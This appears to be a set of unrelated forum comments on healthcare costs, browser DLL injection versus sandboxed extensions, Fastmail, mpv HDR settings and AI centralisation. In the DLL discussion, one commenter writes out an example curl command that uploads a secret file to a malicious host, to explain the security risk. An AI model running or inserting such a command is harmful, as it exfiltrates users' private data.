Sorry, but as an outsider from one of those other countries you mention, I don't get what you mean by top notch? Top notch for whom? The people who can afford to pay out of pocket? Or those willing to do into debt to just get treatment? Whenever I see news from places like PBS News Hour, it's about some low wage or senior person struggling to just care for their medical needs or prescriptions.

I don't know my guy, your system isn't exactly top notch for most people - I don't think you need to look very hard to see that if you try.

Random examples:

- https://upload.wikimedia.org/wikipedia/commons/0/0b/OECD_hea... - https://upload.wikimedia.org/wikipedia/commons/d/d6/Life_exp...

There's something very very wrong here when your paying that much per capita and a lot of people are still struggling.

Or you know, like not use such an operating system, I guess?

There is still a lot of software that will not run well or at all on Linux making Windows unavoidable for some. Plus the fact that your work place might be a Windows only shop.

Inject dll's from the internet right into the browser. Yes, let's!

I'm not convinced that this is a good idea, but I don't think that's the reason; don't all your dlls come from the internet?

My comment was sarcasm.

The difference here is are you downloading a random dll from a well known source or from http://free-vpn-fast-internet.dwnloadfree.ru/free-chrome-vpn...? My mom isn't going to know the difference and will click the big green DOWNLOAD NOW button blindly.

But that's not a difference, is it? Can't Windows enforce that DLLs have to be signed just like extensions?

Injecting a DLL in the browser implies code running with the browser's permissions, which means the DLL will be able to access everything on your system. For example `system("curl https://malware.com -F@/etc/secret-file")` will be possible. Another example is that it could also see all your saved passwords.

A javascript extension cannot do that. It is sandboxed and is bound to a permission system limiting what it can do on top of that.

Signing a DLL only proves that the author is who he says he is. Not that his intentions are good. Same for browser extensions.

So it's best to limit what the extension can do to begin with.

My heavily downvoted comment was also a sarcasm.

So here's the dilemma：

- People are afraid of plugins "in the wild". People need some kind of centralized, managed "extension store"

- People complains about store policy like Manifest V3

I don't think a single mechanism can please both crowds.

And what's worse? Google doesn't actually care about the security of the the "store". Scam extensions are everywhere. The "audit process" are minimal, customer/developer service are essentially none, and Google only enforce rules that affect their ads business.

> don't all your dlls come from the internet?

Either from the "wild" internet or manifest v3 intranet.

Or can we do better? For example, a community can maintain an opensource "network control" DLL that allow users to enable/disable tamperscript-like firewall rules from uBlock or such.

Use something like imail, thunderbird, etc? Those should all work offline for browsing cached content

The biggest issue with apple's Mail.app is they don't support vanity domains the way Fastmail does. You can add them individually but the Fastmail app lets you create one right from within the compose box - you just type whatever you want into the From: field.

Looks like a simple and non intrusive and potentially useful feature. Your concern seems unnecessary (for now). They may not be perfect, but they seem to be better than most SaaS companies as far as my experience with them goes. Their web app works, hasnt enshitified or gotten slow, they aren't shoving AI into their stuff afaik. Theyre alright imo for now.

Aside from not having quite as robust an anti-spam approach as gmail (at least at the start), fastmail has been faster and easier to use than gmail was for me, and that's extremely high praise. Even something as obscure as setting a custom color theme for the web UI is fast and painless. I thought getting off gmail would be difficult but it's been a breeze. (not an ad, though it sounds like one)

I have noticed more downtime in the last few months than the previous few years combined. I think they recently did a server migration so hopefully it's not an indication of anything more serious changing in their culture.

The rollout popup was extremely intrusive in my experience.

Try this in your mpv.conf file

    no-config
    target-trc=pq
    target-prim=bt.2020
    vo=gpu-next

Wont be 100% accurate, but hopefully somewhat watchable

See also https://github.com/mpv-player/mpv/issues/10122

I believe that the target primaries must be those of your monitor.

BT.2020 are the primaries used to encode the HDR movie.

Monitors with such primaries are rare and extremely expensive. For most good monitors "--target-prim=dci-p3" should be appropriate, if DCI-P3 has already been selected from the on-screen monitor configuration menu, because most monitors come configured by default to use the ugly sRGB color space, so you must change the defaults to be able to display content with bigger color spaces.

Some monitors might have the option to use the BT.2020 color space, when they would still not be able to display all of it, but they would do internally the conversion between the BT.2020 used to encode the movie and whatever color space the monitor can actually display.

Still very green/purple. It's fine, I was able to find a non-HDR version.

Then you probably have either a very old mpv or one that was compiled without including the "gpu-next" video output driver.

Or else the GPU drivers for your GPU card have not been updated for a very long time.

A recent mpv and recent GPU drivers should solve this problem, because it was frequently encountered only up to a couple of years ago.

mpv 0.36.0 from July 2023, nvidia 555.58.02 drivers from August 2024 (Fedora 39).

My output of "mpv --version":

  mpv 0.38.0 Copyright © 2000-2024 mpv/MPlayer/mplayer2 projects
  libplacebo version: v6.338.2
  FFmpeg version: 6.1.1 

I do not remember which was the first version that worked fine. For some time, "gpu-next" was not included by default in the releases, but you had to compile a custom variant to include it.

Pay attention that "libplacebo" is required. If libplacebo is absent, then the Dolby Vision conversion will not work. This could be the reason of your problem, if your Linux distribution does not have libplacebo as an automatic dependence of mpv, or if mpv has been compiled without support for libplacebo.

I would try updating to 0.37.0 or 0.38.0, IIRC it only started to work for me after I updated to one of those (I always build mpv from the latest commit myself, so I'm not sure which release version exactly has the crucial fixes).

What type of chemicals would these be?

I can only think of cosmetics (makeup), skin care (acne, moisturizer), botox, and steroids/PEDs/HGH/etc that could improve physical disadvantages that cant be improved otherwise. But not an area I'm too experienced in. What type of chemicals are you talking about?

Really? I am sorry, but this sounds completely off-base to me. The idea you're holding onto about how the world works is counter-productive and after you spend all that money and put yourself at risk you might find yourself in the same position anyway. Perhaps consider therapy instead?

It's a very bad hiring market according to some accounts (personal, as well as people on HN).

US figures are here, https://www.bls.gov/charts/employment-situation/employment-l..., click "Information" in the graph options and you'll notice it hasn't rebounded much since the 2022/23 downturn.

If you have people you can get your direct referrals for positions, you'll better your odds of getting something right now vs cold applications.

3.6 ppb, not great not terrible[1]

[1]: https://www.youtube.com/watch?v=w-YDV6vC2qo

Galaxy Brain: TransparentAI

Maybe I'm just old and grumpy, but I can't help shake that the real most dangerous thing about AGI/ASI is centralization of its power (if it is ever possibly achieved).

Everyone just fiend-ing for their version of it.

You're not old or grumpy, you're just stating the quiet part out loud. It's the same game, but now with 100% more AI.